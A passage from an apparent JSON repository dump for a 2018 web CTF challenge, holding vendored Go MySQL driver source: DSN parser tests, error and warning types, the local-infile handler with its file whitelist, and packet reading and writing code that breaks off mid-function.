    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n)\n\nvar testDSNs = []struct {\n\tin  string\n\tout *Config\n}{{\n\t\"username:password@protocol(address)/dbname?param=value\",\n\t&Config{User: \"username\", Passwd: \"password\", Net: \"protocol\", Addr: \"address\", DBName: \"dbname\", Params: map[string]string{\"param\": \"value\"}, Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"username:password@protocol(address)/dbname?param=value&columnsWithAlias=true\",\n\t&Config{User: \"username\", Passwd: \"password\", Net: \"protocol\", Addr: \"address\", DBName: \"dbname\", Params: map[string]string{\"param\": \"value\"}, Collation: \"utf8_general_ci\", Loc: time.UTC, ColumnsWithAlias: true},\n}, {\n\t\"username:password@protocol(address)/dbname?param=value&columnsWithAlias=true&multiStatements=true\",\n\t&Config{User: \"username\", Passwd: \"password\", Net: \"protocol\", Addr: \"address\", DBName: \"dbname\", Params: map[string]string{\"param\": \"value\"}, Collation: \"utf8_general_ci\", Loc: time.UTC, ColumnsWithAlias: true, MultiStatements: true},\n}, {\n\t\"user@unix(/path/to/socket)/dbname?charset=utf8\",\n\t&Config{User: \"user\", Net: \"unix\", Addr: \"/path/to/socket\", DBName: \"dbname\", Params: map[string]string{\"charset\": \"utf8\"}, Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"user:password@tcp(localhost:5555)/dbname?charset=utf8&tls=true\",\n\t&Config{User: \"user\", Passwd: \"password\", Net: \"tcp\", Addr: \"localhost:5555\", DBName: \"dbname\", Params: map[string]string{\"charset\": \"utf8\"}, Collation: \"utf8_general_ci\", Loc: time.UTC, TLSConfig: \"true\"},\n}, {\n\t\"user:password@tcp(localhost:5555)/dbname?charset=utf8mb4,utf8&tls=skip-verify\",\n\t&Config{User: \"user\", Passwd: \"password\", Net: \"tcp\", Addr: \"localhost:5555\", DBName: \"dbname\", Params: map[string]string{\"charset\": \"utf8mb4,utf8\"}, Collation: \"utf8_general_ci\", Loc: time.UTC, TLSConfig: \"skip-verify\"},\n}, {\n\t\"user:password@/dbname?loc=UTC&timeout=30s&readTimeout=1s&writeTimeout=1s&allowAllFiles=1&clientFoundRows=true&allowOldPasswords=TRUE&collation=utf8mb4_unicode_ci&maxAllowedPacket=16777216\",\n\t&Config{User: \"user\", Passwd: \"password\", Net: \"tcp\", Addr: \"127.0.0.1:3306\", DBName: \"dbname\", Collation: \"utf8mb4_unicode_ci\", Loc: time.UTC, Timeout: 30 * time.Second, ReadTimeout: time.Second, WriteTimeout: time.Second, AllowAllFiles: true, AllowOldPasswords: true, ClientFoundRows: true, MaxAllowedPacket: 16777216},\n}, {\n\t\"user:p@ss(word)@tcp([de:ad:be:ef::ca:fe]:80)/dbname?loc=Local\",\n\t&Config{User: \"user\", Passwd: \"p@ss(word)\", Net: \"tcp\", Addr: \"[de:ad:be:ef::ca:fe]:80\", DBName: \"dbname\", Collation: \"utf8_general_ci\", Loc: time.Local},\n}, {\n\t\"/dbname\",\n\t&Config{Net: \"tcp\", Addr: \"127.0.0.1:3306\", DBName: \"dbname\", Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"@/\",\n\t&Config{Net: \"tcp\", Addr: \"127.0.0.1:3306\", Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"/\",\n\t&Config{Net: \"tcp\", Addr: \"127.0.0.1:3306\", Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"\",\n\t&Config{Net: \"tcp\", Addr: \"127.0.0.1:3306\", Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"user:p@/ssword@/\",\n\t&Config{User: \"user\", Passwd: \"p@/ssword\", Net: \"tcp\", Addr: \"127.0.0.1:3306\", Collation: \"utf8_general_ci\", Loc: time.UTC},\n}, {\n\t\"unix/?arg=%2Fsome%2Fpath.ext\",\n\t&Config{Net: \"unix\", Addr: \"/tmp/mysql.sock\", Params: map[string]string{\"arg\": \"/some/path.ext\"}, Collation: \"utf8_general_ci\", Loc: time.UTC},\n}}\n\nfunc TestDSNParser(t *testing.T) {\n\tfor i, tst := range testDSNs {\n\t\tcfg, err := ParseDSN(tst.in)\n\t\tif err != nil {\n\t\t\tt.Error(err.Error())\n\t\t}\n\n\t\t// pointer not static\n\t\tcfg.tls = nil\n\n\t\tif !reflect.DeepEqual(cfg, tst.out) {\n\t\t\tt.Errorf(\"%d. ParseDSN(%q) mismatch:\\ngot  %+v\\nwant %+v\", i, tst.in, cfg, tst.out)\n\t\t}\n\t}\n}\n\nfunc TestDSNParserInvalid(t *testing.T) {\n\tvar invalidDSNs = []string{\n\t\t\"@net(addr/\",                  // no closing brace\n\t\t\"@tcp(/\",                      // no closing brace\n\t\t\"tcp(/\",                       // no closing brace\n\t\t\"(/\",                          // no closing brace\n\t\t\"net(addr)//\",                 // unescaped\n\t\t\"User:pass@tcp(1.2.3.4:3306)\", // no trailing slash\n\t\t//\"/dbname?arg=/some/unescaped/path\",\n\t}\n\n\tfor i, tst := range invalidDSNs {\n\t\tif _, err := ParseDSN(tst); err == nil {\n\t\t\tt.Errorf(\"invalid DSN #%d. (%s) didn't error!\", i, tst)\n\t\t}\n\t}\n}\n\nfunc TestDSNReformat(t *testing.T) {\n\tfor i, tst := range testDSNs {\n\t\tdsn1 := tst.in\n\t\tcfg1, err := ParseDSN(dsn1)\n\t\tif err != nil {\n\t\t\tt.Error(err.Error())\n\t\t\tcontinue\n\t\t}\n\t\tcfg1.tls = nil // pointer not static\n\t\tres1 := fmt.Sprintf(\"%+v\", cfg1)\n\n\t\tdsn2 := cfg1.FormatDSN()\n\t\tcfg2, err := ParseDSN(dsn2)\n\t\tif err != nil {\n\t\t\tt.Error(err.Error())\n\t\t\tcontinue\n\t\t}\n\t\tcfg2.tls = nil // pointer not static\n\t\tres2 := fmt.Sprintf(\"%+v\", cfg2)\n\n\t\tif res1 != res2 {\n\t\t\tt.Errorf(\"%d. %q does not match %q\", i, res2, res1)\n\t\t}\n\t}\n}\n\nfunc TestDSNWithCustomTLS(t *testing.T) {\n\tbaseDSN := \"User:password@tcp(localhost:5555)/dbname?tls=\"\n\ttlsCfg := tls.Config{}\n\n\tRegisterTLSConfig(\"utils_test\", &tlsCfg)\n\n\t// Custom TLS is missing\n\ttst := baseDSN + \"invalid_tls\"\n\tcfg, err := ParseDSN(tst)\n\tif err == nil {\n\t\tt.Errorf(\"invalid custom TLS in DSN (%s) but did not error. Got config: %#v\", tst, cfg)\n\t}\n\n\ttst = baseDSN + \"utils_test\"\n\n\t// Custom TLS with a server name\n\tname := \"foohost\"\n\ttlsCfg.ServerName = name\n\tcfg, err = ParseDSN(tst)\n\n\tif err != nil {\n\t\tt.Error(err.Error())\n\t} else if cfg.tls.ServerName != name {\n\t\tt.Errorf(\"did not get the correct TLS ServerName (%s) parsing DSN (%s).\", name, tst)\n\t}\n\n\t// Custom TLS without a server name\n\tname = \"localhost\"\n\ttlsCfg.ServerName = \"\"\n\tcfg, err = ParseDSN(tst)\n\n\tif err != nil {\n\t\tt.Error(err.Error())\n\t} else if cfg.tls.ServerName != name {\n\t\tt.Errorf(\"did not get the correct ServerName (%s) parsing DSN (%s).\", name, tst)\n\t}\n\n\tDeregisterTLSConfig(\"utils_test\")\n}\n\nfunc TestDSNWithCustomTLSQueryEscape(t *testing.T) {\n\tconst configKey = \"&%!:\"\n\tdsn := \"User:password@tcp(localhost:5555)/dbname?tls=\" + url.QueryEscape(configKey)\n\tname := \"foohost\"\n\ttlsCfg := tls.Config{ServerName: name}\n\n\tRegisterTLSConfig(configKey, &tlsCfg)\n\n\tcfg, err := ParseDSN(dsn)\n\n\tif err != nil {\n\t\tt.Error(err.Error())\n\t} else if cfg.tls.ServerName != name {\n\t\tt.Errorf(\"did not get the correct TLS ServerName (%s) parsing DSN (%s).\", name, dsn)\n\t}\n}\n\nfunc TestDSNUnsafeCollation(t *testing.T) {\n\t_, err := ParseDSN(\"/dbname?collation=gbk_chinese_ci&interpolateParams=true\")\n\tif err != errInvalidDSNUnsafeCollation {\n\t\tt.Errorf(\"expected %v, got %v\", errInvalidDSNUnsafeCollation, err)\n\t}\n\n\t_, err = ParseDSN(\"/dbname?collation=gbk_chinese_ci&interpolateParams=false\")\n\tif err != nil {\n\t\tt.Errorf(\"expected %v, got %v\", nil, err)\n\t}\n\n\t_, err = ParseDSN(\"/dbname?collation=gbk_chinese_ci\")\n\tif err != nil {\n\t\tt.Errorf(\"expected %v, got %v\", nil, err)\n\t}\n\n\t_, err = ParseDSN(\"/dbname?collation=ascii_bin&interpolateParams=true\")\n\tif err != nil {\n\t\tt.Errorf(\"expected %v, got %v\", nil, err)\n\t}\n\n\t_, err = ParseDSN(\"/dbname?collation=latin1_german1_ci&interpolateParams=true\")\n\tif err != nil {\n\t\tt.Errorf(\"expected %v, got %v\", nil, err)\n\t}\n\n\t_, err = ParseDSN(\"/dbname?collation=utf8_general_ci&interpolateParams=true\")\n\tif err != nil {\n\t\tt.Errorf(\"expected %v, got %v\", nil, err)\n\t}\n\n\t_, err = ParseDSN(\"/dbname?collation=utf8mb4_general_ci&interpolateParams=true\")\n\tif err != nil {\n\t\tt.Errorf(\"expected %v, got %v\", nil, err)\n\t}\n}\n\nfunc BenchmarkParseDSN(b *testing.B) {\n\tb.ReportAllocs()\n\n\tfor i := 0; i < b.N; i++ {\n\t\tfor _, tst := range testDSNs {\n\t\t\tif _, err := ParseDSN(tst.in); err != nil {\n\t\t\t\tb.Error(err.Error())\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/errors.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"database/sql/driver\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n)\n\n// Various errors the driver might return. Can change between driver versions.\nvar (\n\tErrInvalidConn       = errors.New(\"invalid connection\")\n\tErrMalformPkt        = errors.New(\"malformed packet\")\n\tErrNoTLS             = errors.New(\"TLS requested but server does not support TLS\")\n\tErrCleartextPassword = errors.New(\"this user requires clear text authentication. If you still want to use it, please add 'allowCleartextPasswords=1' to your DSN\")\n\tErrNativePassword    = errors.New(\"this user requires mysql native password authentication.\")\n\tErrOldPassword       = errors.New(\"this user requires old password authentication. If you still want to use it, please add 'allowOldPasswords=1' to your DSN. See also https://github.com/go-sql-driver/mysql/wiki/old_passwords\")\n\tErrUnknownPlugin     = errors.New(\"this authentication plugin is not supported\")\n\tErrOldProtocol       = errors.New(\"MySQL server does not support required protocol 41+\")\n\tErrPktSync           = errors.New(\"commands out of sync. You can't run this command now\")\n\tErrPktSyncMul        = errors.New(\"commands out of sync. Did you run multiple statements at once?\")\n\tErrPktTooLarge       = errors.New(\"packet for query is too large. Try adjusting the 'max_allowed_packet' variable on the server\")\n\tErrBusyBuffer        = errors.New(\"busy buffer\")\n)\n\nvar errLog = Logger(log.New(os.Stderr, \"[mysql] \", log.Ldate|log.Ltime|log.Lshortfile))\n\n// Logger is used to log critical error messages.\ntype Logger interface {\n\tPrint(v ...interface{})\n}\n\n// SetLogger is used to set the logger for critical errors.\n// The initial logger is os.Stderr.\nfunc SetLogger(logger Logger) error {\n\tif logger == nil {\n\t\treturn errors.New(\"logger is nil\")\n\t}\n\terrLog = logger\n\treturn nil\n}\n\n// MySQLError is an error type which represents a single MySQL error\ntype MySQLError struct {\n\tNumber  uint16\n\tMessage string\n}\n\nfunc (me *MySQLError) Error() string {\n\treturn fmt.Sprintf(\"Error %d: %s\", me.Number, me.Message)\n}\n\n// MySQLWarnings is an error type which represents a group of one or more MySQL\n// warnings\ntype MySQLWarnings []MySQLWarning\n\nfunc (mws MySQLWarnings) Error() string {\n\tvar msg string\n\tfor i, warning := range mws {\n\t\tif i > 0 {\n\t\t\tmsg += \"\\r\\n\"\n\t\t}\n\t\tmsg += fmt.Sprintf(\n\t\t\t\"%s %s: %s\",\n\t\t\twarning.Level,\n\t\t\twarning.Code,\n\t\t\twarning.Message,\n\t\t)\n\t}\n\treturn msg\n}\n\n// MySQLWarning is an error type which represents a single MySQL warning.\n// Warnings are returned in groups only. See MySQLWarnings\ntype MySQLWarning struct {\n\tLevel   string\n\tCode    string\n\tMessage string\n}\n\nfunc (mc *mysqlConn) getWarnings() (err error) {\n\trows, err := mc.Query(\"SHOW WARNINGS\", nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvar warnings = MySQLWarnings{}\n\tvar values = make([]driver.Value, 3)\n\n\tfor {\n\t\terr = rows.Next(values)\n\t\tswitch err {\n\t\tcase nil:\n\t\t\twarning := MySQLWarning{}\n\n\t\t\tif raw, ok := values[0].([]byte); ok {\n\t\t\t\twarning.Level = string(raw)\n\t\t\t} else {\n\t\t\t\twarning.Level = fmt.Sprintf(\"%s\", values[0])\n\t\t\t}\n\t\t\tif raw, ok := values[1].([]byte); ok {\n\t\t\t\twarning.Code = string(raw)\n\t\t\t} else {\n\t\t\t\twarning.Code = fmt.Sprintf(\"%s\", values[1])\n\t\t\t}\n\t\t\tif raw, ok := values[2].([]byte); ok {\n\t\t\t\twarning.Message = string(raw)\n\t\t\t} else {\n\t\t\t\twarning.Message = fmt.Sprintf(\"%s\", values[0])\n\t\t\t}\n\n\t\t\twarnings = append(warnings, warning)\n\n\t\tcase io.EOF:\n\t\t\treturn warnings\n\n\t\tdefault:\n\t\t\trows.Close()\n\t\t\treturn\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/errors_test.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"bytes\"\n\t\"log\"\n\t\"testing\"\n)\n\nfunc TestErrorsSetLogger(t *testing.T) {\n\tprevious := errLog\n\tdefer func() {\n\t\terrLog = previous\n\t}()\n\n\t// set up logger\n\tconst expected = \"prefix: test\\n\"\n\tbuffer := bytes.NewBuffer(make([]byte, 0, 64))\n\tlogger := log.New(buffer, \"prefix: \", 0)\n\n\t// print\n\tSetLogger(logger)\n\terrLog.Print(\"test\")\n\n\t// check result\n\tif actual := buffer.String(); actual != expected {\n\t\tt.Errorf(\"expected %q, got %q\", expected, actual)\n\t}\n}\n\nfunc TestErrorsStrictIgnoreNotes(t *testing.T) {\n\trunTests(t, dsn+\"&sql_notes=false\", func(dbt *DBTest) {\n\t\tdbt.mustExec(\"DROP TABLE IF EXISTS does_not_exist\")\n\t})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/infile.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n)\n\nvar (\n\tfileRegister       map[string]bool\n\tfileRegisterLock   sync.RWMutex\n\treaderRegister     map[string]func() io.Reader\n\treaderRegisterLock sync.RWMutex\n)\n\n// RegisterLocalFile adds the given file to the file whitelist,\n// so that it can be used by \"LOAD DATA LOCAL INFILE <filepath>\".\n// Alternatively you can allow the use of all local files with\n// the DSN parameter 'allowAllFiles=true'\n//\n//  filePath := \"/home/gopher/data.csv\"\n//  mysql.RegisterLocalFile(filePath)\n//  err := db.Exec(\"LOAD DATA LOCAL INFILE '\" + filePath + \"' INTO TABLE foo\")\n//  if err != nil {\n//  ...\n//\nfunc RegisterLocalFile(filePath string) {\n\tfileRegisterLock.Lock()\n\t// lazy map init\n\tif fileRegister == nil {\n\t\tfileRegister = make(map[string]bool)\n\t}\n\n\tfileRegister[strings.Trim(filePath, `\"`)] = true\n\tfileRegisterLock.Unlock()\n}\n\n// DeregisterLocalFile removes the given filepath from the whitelist.\nfunc DeregisterLocalFile(filePath string) {\n\tfileRegisterLock.Lock()\n\tdelete(fileRegister, strings.Trim(filePath, `\"`))\n\tfileRegisterLock.Unlock()\n}\n\n// RegisterReaderHandler registers a handler function which is used\n// to receive a io.Reader.\n// The Reader can be used by \"LOAD DATA LOCAL INFILE Reader::<name>\".\n// If the handler returns a io.ReadCloser Close() is called when the\n// request is finished.\n//\n//  mysql.RegisterReaderHandler(\"data\", func() io.Reader {\n//  \tvar csvReader io.Reader // Some Reader that returns CSV data\n//  \t... // Open Reader here\n//  \treturn csvReader\n//  })\n//  err := db.Exec(\"LOAD DATA LOCAL INFILE 'Reader::data' INTO TABLE foo\")\n//  if err != nil {\n//  ...\n//\nfunc RegisterReaderHandler(name string, handler func() io.Reader) {\n\treaderRegisterLock.Lock()\n\t// lazy map init\n\tif readerRegister == nil {\n\t\treaderRegister = make(map[string]func() io.Reader)\n\t}\n\n\treaderRegister[name] = handler\n\treaderRegisterLock.Unlock()\n}\n\n// DeregisterReaderHandler removes the ReaderHandler function with\n// the given name from the registry.\nfunc DeregisterReaderHandler(name string) {\n\treaderRegisterLock.Lock()\n\tdelete(readerRegister, name)\n\treaderRegisterLock.Unlock()\n}\n\nfunc deferredClose(err *error, closer io.Closer) {\n\tcloseErr := closer.Close()\n\tif *err == nil {\n\t\t*err = closeErr\n\t}\n}\n\nfunc (mc *mysqlConn) handleInFileRequest(name string) (err error) {\n\tvar rdr io.Reader\n\tvar data []byte\n\tpacketSize := 16 * 1024 // 16KB is small enough for disk readahead and large enough for TCP\n\tif mc.maxWriteSize < packetSize {\n\t\tpacketSize = mc.maxWriteSize\n\t}\n\n\tif idx := strings.Index(name, \"Reader::\"); idx == 0 || (idx > 0 && name[idx-1] == '/') { // io.Reader\n\t\t// The server might return an an absolute path. See issue #355.\n\t\tname = name[idx+8:]\n\n\t\treaderRegisterLock.RLock()\n\t\thandler, inMap := readerRegister[name]\n\t\treaderRegisterLock.RUnlock()\n\n\t\tif inMap {\n\t\t\trdr = handler()\n\t\t\tif rdr != nil {\n\t\t\t\tif cl, ok := rdr.(io.Closer); ok {\n\t\t\t\t\tdefer deferredClose(&err, cl)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\terr = fmt.Errorf(\"Reader '%s' is <nil>\", name)\n\t\t\t}\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"Reader '%s' is not registered\", name)\n\t\t}\n\t} else { // File\n\t\tname = strings.Trim(name, `\"`)\n\t\tfileRegisterLock.RLock()\n\t\tfr := fileRegister[name]\n\t\tfileRegisterLock.RUnlock()\n\t\tif mc.cfg.AllowAllFiles || fr {\n\t\t\tvar file *os.File\n\t\t\tvar fi os.FileInfo\n\n\t\t\tif file, err = os.Open(name); err == nil {\n\t\t\t\tdefer deferredClose(&err, file)\n\n\t\t\t\t// get file size\n\t\t\t\tif fi, err = file.Stat(); err == nil {\n\t\t\t\t\trdr = file\n\t\t\t\t\tif fileSize := int(fi.Size()); fileSize < packetSize {\n\t\t\t\t\t\tpacketSize = fileSize\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"local file '%s' is not registered\", name)\n\t\t}\n\t}\n\n\t// send content packets\n\tif err == nil {\n\t\tdata := make([]byte, 4+packetSize)\n\t\tvar n int\n\t\tfor err == nil {\n\t\t\tn, err = rdr.Read(data[4:])\n\t\t\tif n > 0 {\n\t\t\t\tif ioErr := mc.writePacket(data[:4+n]); ioErr != nil {\n\t\t\t\t\treturn ioErr\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif err == io.EOF {\n\t\t\terr = nil\n\t\t}\n\t}\n\n\t// send empty packet (termination)\n\tif data == nil {\n\t\tdata = make([]byte, 4)\n\t}\n\tif ioErr := mc.writePacket(data[:4]); ioErr != nil {\n\t\treturn ioErr\n\t}\n\n\t// read OK packet\n\tif err == nil {\n\t\t_, err = mc.readResultOK()\n\t\treturn err\n\t}\n\n\tmc.readPacket()\n\treturn err\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/packets.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"database/sql/driver\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"time\"\n)\n\n// Packets documentation:\n// http://dev.mysql.com/doc/internals/en/client-server-protocol.html\n\n// Read packet to buffer 'data'\nfunc (mc *mysqlConn) readPacket() ([]byte, error) {\n\tvar prevData []byte\n\tfor {\n\t\t// read packet header\n\t\tdata, err := mc.buf.readNext(4)\n\t\tif err != nil {\n\t\t\terrLog.Print(err)\n\t\t\tmc.Close()\n\t\t\treturn nil, driver.ErrBadConn\n\t\t}\n\n\t\t// packet length [24 bit]\n\t\tpktLen := int(uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16)\n\n\t\t// check packet sync [8 bit]\n\t\tif data[3] != mc.sequence {\n\t\t\tif data[3] > mc.sequence {\n\t\t\t\treturn nil, ErrPktSyncMul\n\t\t\t}\n\t\t\treturn nil, ErrPktSync\n\t\t}\n\t\tmc.sequence++\n\n\t\t// packets with length 0 terminate a previous packet which is a\n\t\t// multiple of (2^24)−1 bytes long\n\t\tif pktLen == 0 {\n\t\t\t// there was no previous packet\n\t\t\tif prevData == nil {\n\t\t\t\terrLog.Print(ErrMalformPkt)\n\t\t\t\tmc.Close()\n\t\t\t\treturn nil, driver.ErrBadConn\n\t\t\t}\n\n\t\t\treturn prevData, nil\n\t\t}\n\n\t\t// read packet body [pktLen bytes]\n\t\tdata, err = mc.buf.readNext(pktLen)\n\t\tif err != nil {\n\t\t\terrLog.Print(err)\n\t\t\tmc.Close()\n\t\t\treturn nil, driver.ErrBadConn\n\t\t}\n\n\t\t// return data if this was the last packet\n\t\tif pktLen < maxPacketSize {\n\t\t\t// zero allocations for non-split packets\n\t\t\tif prevData == nil {\n\t\t\t\treturn data, nil\n\t\t\t}\n\n\t\t\treturn append(prevData, data...), nil\n\t\t}\n\n\t\tprevData = append(prevData, data...)\n\t}\n}\n\n// Write packet buffer 'data'\nfunc (mc *mysqlConn) writePacket(data []byte) error {\n\tpktLen := len(data) - 4\n\n\tif pktLen > mc.maxAllowedPacket {\n\t\treturn ErrPktTooLarge\n\t}\n\n\tfor {\n\t\tvar size int\n\t\tif pktLen >= maxPacketSize {\n\t\t\tdata[0] = 0xff\n\t\t\tdata[1] = 0xff\n\t\t\tdata[2] = 0xff\n\t\t\tsize = maxPacketSize\n\t\t} else {\n\t\t\tdata[0] = byte(pktLen)\n\t\t\tdata[1] = byte(pktLen >> 8)\n\t\t\tdata[2] = byte(pktLen >> 16)\n\t\t\tsize = pktLen\n\t\t}\n\t\tdata[3] = mc.sequence\n\n\t\t// Write packet\n\t\tif mc.writeTimeout > 0 {\n\t\t\tif err := mc.netConn.SetWriteDeadline(time.Now().Add(mc.writeTimeout)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tn, err := mc.netConn.Write(data[:4+size])\n\t\tif err == nil && n == 4+size {\n\t\t\tmc.sequence++\n\t\t\tif size != maxPacketSize {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tpktLen -= size\n\t\t\tdata = data[size:]\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle error\n\t\tif err == nil { // n != len(data)\n\t\t\terrLog.Print(ErrMalformPkt)\n\t\t} else {\n\t\t\terrLog.Print(err)\n\t\t}\n\t\treturn driver.ErrBadConn\n\t}\n}\n\n/******************************************************************************\n*                           Initialisation Process                            *\n******************************************************************************/\n\n// Handshake Initialization Packet\n// http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake\nfunc (mc *mysqlConn) readInitPacket() ([]byte, error) {\n\tdata, err := mc.readPacket()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif data[0] == iERR {\n\t\treturn nil, mc.handleErrorPacket(data)\n\t}\n\n\t// protocol version [1 byte]\n\tif data[0] < minProtocolVersion {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"unsupported protocol version %d. Version %d or higher is required\",\n\t\t\tdata[0],\n\t\t\tminProtocolVersion,\n\t\t)\n\t}\n\n\t// server version [null terminated string]\n\t// connection id [4 bytes]\n\tpos := 1 + bytes.IndexByte(data[1:], 0x00) + 1 + 4\n\n\t// first part of the password cipher [8 bytes]\n\tcipher := data[pos : pos+8]\n\n\t// (filler) always 0x00 [1 byte]\n\tpos += 8 + 1\n\n\t// capability flags (lower 2 bytes) [2 bytes]\n\tmc.flags = clientFlag(binary.LittleEndian.Uint16(data[pos : pos+2]))\n\tif mc.flags&clientProtocol41 == 0 {\n\t\treturn nil, ErrOldProtocol\n\t}\n\tif mc.flags&clientSSL == 0 && mc.cfg.tls != nil {\n\t\treturn nil, ErrNoTLS\n\t}\n\tpos += 2\n\n\tif len(data) > pos {\n\t\t// character set [1 byte]\n\t\t// status flags [2 bytes]\n\t\t// capability flags (upper 2 bytes) [2 bytes]\n\t\t// length of auth-plugin-data [1 byte]\n\t\t// reserved (all [00]) [10 bytes]\n\t\tpos += 1 + 2 + 2 + 1 + 10\n\n\t\t// second part of the password cipher [mininum 13 bytes],\n\t\t// where len=MAX(13, length of auth-plugin-data - 8)\n\t\t//\n\t\t// The web documentation is ambiguous about the length. However,\n\t\t// according to mysql-5.7/sql/auth/sql_authentication.cc line 538,\n\t\t// the 13th byte is \"\\0 byte, terminating the second part of\n\t\t// a scramble\". So the second part of the password cipher is\n\t\t// a NULL terminated string that's at least 13 bytes with the\n\t\t// last byte being NULL.\n\t\t//\n\t\t// The official Python library uses the fixed length 12\n\t\t// which seems to work but technically could have a hidden bug.\n\t\tcipher = append(cipher, data[pos:pos+12]...)\n\n\t\t// TODO: Verify string termination\n\t\t// EOF if version (>= 5.5.7 and < 5.5.10) or (>= 5.6.0 and < 5.6.2)\n\t\t// \\NUL otherwise\n\t\t//\n\t\t//if data[len(data)-1] == 0 {\n\t\t//\treturn\n\t\t//}\n\t\t//return ErrMalformPkt\n\n\t\t// make a memory safe copy of the cipher slice\n\t\tvar b [20]byte\n\t\tcopy(b[:], cipher)\n\t\treturn b[:], nil\n\t}\n\n\t// make a memory safe copy of the cipher slice\n\tvar b [8]byte\n\tcopy(b[:], cipher)\n\treturn b[:], nil\n}\n\n// Client Authentication Packet\n// http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::HandshakeResponse\nfunc (mc *mysqlConn) writeAuthPacket(cipher []byte) error {\n\t// Adjust client flags based on server support\n\tclientFlags := clientProtocol41 |\n\t\tclientSecureConn |\n\t\tclientLongPassword |\n\t\tclientTransactions |\n\t\tclientLocalFiles |\n\t\tclientPluginAuth |\n\t\tclientMultiResults |\n\t\tmc.flags&clientLongFlag\n\n\tif mc.cfg.ClientFoundRows {\n\t\tclientFlags |= clientFoundRows\n\t}\n\n\t// To enable TLS / SSL\n\tif mc.cfg.tls != nil {\n\t\tclientFlags |= clientSSL\n\t}\n\n\tif mc.cfg.MultiStatements {\n\t\tclientFlags |= clientMultiStatements\n\t}\n\n\t// User Password\n\tscrambleBuff := scramblePassword(cipher, []byte(mc.cfg.Passwd))\n\n\tpktLen := 4 + 4 + 1 + 23 + len(mc.cfg.User) + 1 + 1 + len(scrambleBuff) + 21 + 1\n\n\t// To specify a db name\n\tif n := len(mc.cfg.DBName); n > 0 {\n\t\tclientFlags |= clientConnectWithDB\n\t\tpktLen += n + 1\n\t}\n\n\t// Calculate packet length and get buffer with that size\n\tdata := mc.buf.takeSmallBuffer(pktLen + 4)\n\tif data == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn driver.ErrBadConn\n\t}\n\n\t// ClientFlags [32 bit]\n\tdata[4] = byte(clientFlags)\n\tdata[5] = byte(clientFlags >> 8)\n\tdata[6] = byte(clientFlags >> 16)\n\tdata[7] = byte(clientFlags >> 24)\n\n\t// MaxPacketSize [32 bit] (none)\n\tdata[8] = 0x00\n\tdata[9] = 0x00\n\tdata[10] = 0x00\n\tdata[11] = 0x00\n\n\t// Charset [1 byte]\n\tvar found bool\n\tdata[12], found = collations[mc.cfg.Collation]\n\tif !found {\n\t\t// Note possibility for false negatives:\n\t\t// could be triggered  although the collation is 